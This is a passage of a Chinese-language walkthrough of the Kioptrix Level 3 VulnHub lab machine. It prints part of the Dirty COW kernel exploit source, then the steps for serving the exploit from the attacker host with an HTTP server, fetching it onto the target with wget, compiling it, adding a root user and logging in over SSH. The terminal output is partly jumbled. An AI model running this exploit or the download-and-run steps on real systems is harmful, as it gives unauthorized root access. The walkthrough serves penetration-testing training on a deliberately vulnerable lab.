{// backup fileint ret = copy_file(filename, backup_filename);if (ret != 0) {exit(ret);}struct Userinfo user;// set values, change as neededuser.username = "firefart";user.user_id = 0;user.group_id = 0;user.info = "pwned";user.home_dir = "/root";user.shell = "/bin/bash";char *plaintext_pw;if (argc >= 2) {plaintext_pw = argv[1];printf("Please enter the new password: %s\n", plaintext_pw);} else {plaintext_pw = getpass("Please enter the new password: ");}user.hash = generate_password_hash(plaintext_pw);char *complete_passwd_line = generate_passwd_line(user);printf("Complete line:\n%s\n", complete_passwd_line);f = open(filename, O_RDONLY);fstat(f, &st);map = mmap(NULL,st.st_size + sizeof(long),PROT_READ,MAP_PRIVATE,f,0);printf("mmap: %lx\n",(unsigned long)map);pid = fork();if(pid) {waitpid(pid, NULL, 0);int u, i, o, c = 0;int l=strlen(complete_passwd_line);for(i = 0; i < 10000/l; i++) {for(o = 0; o < l; o++) {for(u = 0; u < 10000; u++) {c += ptrace(PTRACE_POKETEXT,pid,map + o,*((long*)(complete_passwd_line + o)));}}}printf("ptrace %d\n",c);}else {pthread_create(&pth,NULL,madviseThread,NULL);ptrace(PTRACE_TRACEME);kill(getpid(), SIGSTOP);pthread_join(pth,NULL);}printf("Done! Check %s to see if the new user was created.\n", filename);printf("You can log in with the username '%s' and the password '%s'.\n\n",user.username, plaintext_pw);printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",backup_filename, filename);return 0;
}

脚本中已经给出使用方法。
Compile with:

gcc -pthread dirty.c -o dirty -lcrypt
“./dirty” or “./dirty my-new-password”
Afterwards, you can either “su firefart” or “ssh firefart@…”
DON’T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!(mv /tmp/passwd.bak /etc/passwd)

3.3.7 kali开启http服务

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/kl_3]
└─# python -m http.server 8088
Serving HTTP on 0.0.0.0 port 8088 (http://0.0.0.0:8088/) ...

开启http(8088)服务成功。

3.3.8 上传脚本

www-data@Kioptrix3://$ cd /tmp
cd /tmp
www-data@Kioptrix3:/tmp$ wget http://192.168.1.111:8088/40839.c
wget http://192.168.1.111:8088/40839.c
--16:51:37--  http://192.168.1.111:8088/40839.c=> `40839.c'
Connecting to 192.168.1.111:8088... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,814 (4.7K) [text/x-csrc]100%[====================================>] 4,814         --.--K/s             16:51:37 (262.18 MB/s) - `40839.c' saved [4814/4814]www-data@Kioptrix3:/tmp$ ls
ls
40839.c

成功上传脚本文件(40839.c)。

3.3.9 编译脚本

www-data@Kioptrix3:/tmp$ gcc -pthread 40839.c -o 40839 -lcrypt 
gcc -pthread 40839.c -o 40839 -lcrypt 
40839.c:193:2: warning: no newline at end of file
www-data@Kioptrix3:/tmp$ ls
ls
40839  40839.c

编译脚本成功。

3.3.10 执行脚本

www-data@Kioptrix3:/tmp$ ./40839 123456
./40839 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 123456
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bashmmap: b7fe0000
id
id
whoami
whoami
shell
[*] Trying to find binary 'python' on the target machine
id
[-] python not found
[*] Trying to find binary 'python3' on the target machine
python2 -c 'imoprt pty,pty.spawn("/bin/bash")'
id
[-] python3 not found
[*] Trying to find binary 'script' on the target machine
[-] script not found
[*] Trying to find binary 'socat' on the target machine
[-] socat not found
[-] Can not pop up an interactive shell
id
python2 -c 'imoprt pty,pty.spawn("/bin/bash")'
id
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
www-data@Kioptrix3:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Kioptrix3:/tmp$ whoami
www-data
<AvOmIgLuW;command -v command;echo BdaWIEObPpaTAmvQjlJwVxgAvOmIgLuW          
BdaWIEObPpaTAmvQjlJwVxgAvOmIgLuW
command
BdaWIEObPpaTAmvQjlJwVxgAvOmIgLuW
<CeGfppSQk;which 'python' && echo true;echo FAGlvrxMhlyDMeIguhOmEiCCeGfppSQk 
FAGlvrxMhlyDMeIguhOmEiCCeGfppSQk
/usr/bin/python
true
FAGlvrxMhlyDMeIguhOmEiCCeGfppSQk
<OIhObLABn;command -v command;echo kjkXKCNkkbLjYWEXlDRRvoWOIhObLABn          
kjkXKCNkkbLjYWEXlDRRvoWOIhObLABn
command
kjkXKCNkkbLjYWEXlDRRvoWOIhObLABn
<yaXNEjoXs;which 'python3' && echo true;echo bOJJdDhWmCpfIIrslYfbzDRyaXNEjoXs
bOJJdDhWmCpfIIrslYfbzDRyaXNEjoXs
bOJJdDhWmCpfIIrslYfbzDRyaXNEjoXs
<XGskxIbso;command -v command;echo JOVcaCCxQZNBIjwpCimqTNBXGskxIbso          
JOVcaCCxQZNBIjwpCimqTNBXGskxIbso
command
JOVcaCCxQZNBIjwpCimqTNBXGskxIbso
<vGXbyQdoO;which 'script' && echo true;echo GTsNMUlbHmfjWuWyTGbZQaSvGXbyQdoO 
GTsNMUlbHmfjWuWyTGbZQaSvGXbyQdoO
/usr/bin/script
true
GTsNMUlbHmfjWuWyTGbZQaSvGXbyQdoO
<yIMrpDqGu;command -v command;echo wRgWYFDLCsFZukMjkYhYESfyIMrpDqGu          
wRgWYFDLCsFZukMjkYhYESfyIMrpDqGu
command
wRgWYFDLCsFZukMjkYhYESfyIMrpDqGu
<iLMchHkvO;which 'socat' && echo true;echo iCxcgZdqAgoraHAWfGbBzaviLMchHkvO  
iCxcgZdqAgoraHAWfGbBzaviLMchHkvO
iCxcgZdqAgoraHAWfGbBzaviLMchHkvO
www-data@Kioptrix3:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Kioptrix3:/tmp$ python2 -c 'imoprt pty,pty.spawn("/bin/bash")'
bash: python2: command not found
www-data@Kioptrix3:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Kioptrix3:/tmp$ madvise 0Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

执行脚本成功。

3.4 修改密码

www-data@Kioptrix3:/tmp$ su firefart
Password: 123456firefart@Kioptrix3:/tmp# madvise 0Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@Kioptrix3:/tmp# passwd
passwd
Enter new UNIX password: 123456Retype new UNIX password: 123456passwd: password updated successfully
firefart@Kioptrix3:/tmp# whoami
whoami
firefart
firefart@Kioptrix3:/tmp# id
id
uid=0(firefart) gid=0(root) groups=0(root)

成功将系统的密码修改为
123456

O(∩_∩)O哈哈~

3.5 ssh登录

登录信息：

项目Item	值Value
IP地址	192.168.1.11
用户名	firefart
密码	123456
协议	ssh

执行如下命令：

ssh firefart@192.168.1.11

Xshell 7 (Build 0063)
Copyright (c) 2020 NetSarang Computer, Inc. All rights reserved.Type `help' to learn how to use Xshell prompt.
[C:\~]$ ssh firefart@192.168.1.11Connecting to 192.168.1.11:22...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.WARNING! The remote SSH server rejected X11 forwarding request.
Last login: Mon Jun 10 17:10:20 2024 from 192.168.1.11
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
firefart@Kioptrix3:~#

成功登录到远程ssh

渗透总结

在本次Kioptrix Level #3靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、netcat、msf反弹shell、使用利用脚本进行linux内核提权等内容：

主机发现
目录扫描
端口扫描
netcat监听
msf反弹shell
linux内核提权

参考文章

Kioptrix Level #3靶场
arp-scan使用
Netdiscover基本使用
nmap详细使用教程
黑客工具之whatweb详细使用教程
dirsearch - Web path discovery
Netcat - 你需要知道的一切
Kioptrix Level #3

这篇关于vuInhub靶场实战系列--Kioptrix Level #3的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！